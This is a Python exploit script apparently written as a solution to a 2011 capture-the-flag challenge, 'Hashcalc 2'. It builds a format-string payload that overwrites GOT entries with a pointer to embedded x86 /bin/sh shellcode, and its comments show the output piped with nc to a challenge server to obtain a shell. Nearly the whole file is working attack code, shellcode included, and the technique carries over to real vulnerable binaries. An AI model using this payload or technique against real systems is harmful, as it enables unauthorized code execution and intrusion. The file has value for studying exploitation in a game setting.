#!/usr/bin/env python
# pCTF 2011 - #26 Hashcalc 2
# Shellcode in the GOT using multiple write2 since there was no NX
# Only difference with #22 is to use 2 write1 not to have a 0x0a (\n)

# $ { python exploit.py; cat; } |nc a9.amalgamated.biz 10241
# ** Welcome to the online hash calculator **
# $ id
# uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2)

from struct import pack,unpack

# /bin/sh - 24 bytes (2*12)
SC = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80A"

offset = 5
got_vsprintf = 0x08049108
sc_addr = got_vsprintf+4
p = ""

# 1) to rewrite strlen's got with address of shellcode
# we cannot do 2 write2 because got_vsprintf+2 = ......0a :(
# so we do write1 + write2 + write1
p += pack("<I", got_vsprintf)
p += pack("<I", got_vsprintf+1)
p += pack("<I", got_vsprintf+3)

# 2) to write shellcode right after vsprintf's got
for i in range(0,len(SC),2): 
  p += pack("<I", sc_addr+i)

# do 1) being attentive on the number of bytes written by the format string
val = sc_addr
low,medium,high = val&0xFF, (val>>8)&0xFFFF, val>>24
wrote = len(p)
p += "%."+str((low-wrote)&0xFF) + "u%"+str(offset)+"$hhn"
wrote += (low-wrote)&0xFF
p += "%."+str((medium-wrote)&0xFFFF) + "u%"+str(offset+1)+"$hn"
wrote += (medium-wrote)&0xFFFF
p += "%."+str((high-wrote)&0xFF) + "u%"+str(offset+2)+"$hhn"
wrote += (high-wrote)&0xFF

# do 2)
for i in range(len(SC)/2): 
  val = unpack("<H", SC[2*i:][:2])[0]
  p += "%."+str((val-wrote)&0xFFFF)+"u%"+str(offset+3+i)+"$hn"
  wrote += (val-wrote)&0xFFFF

print p
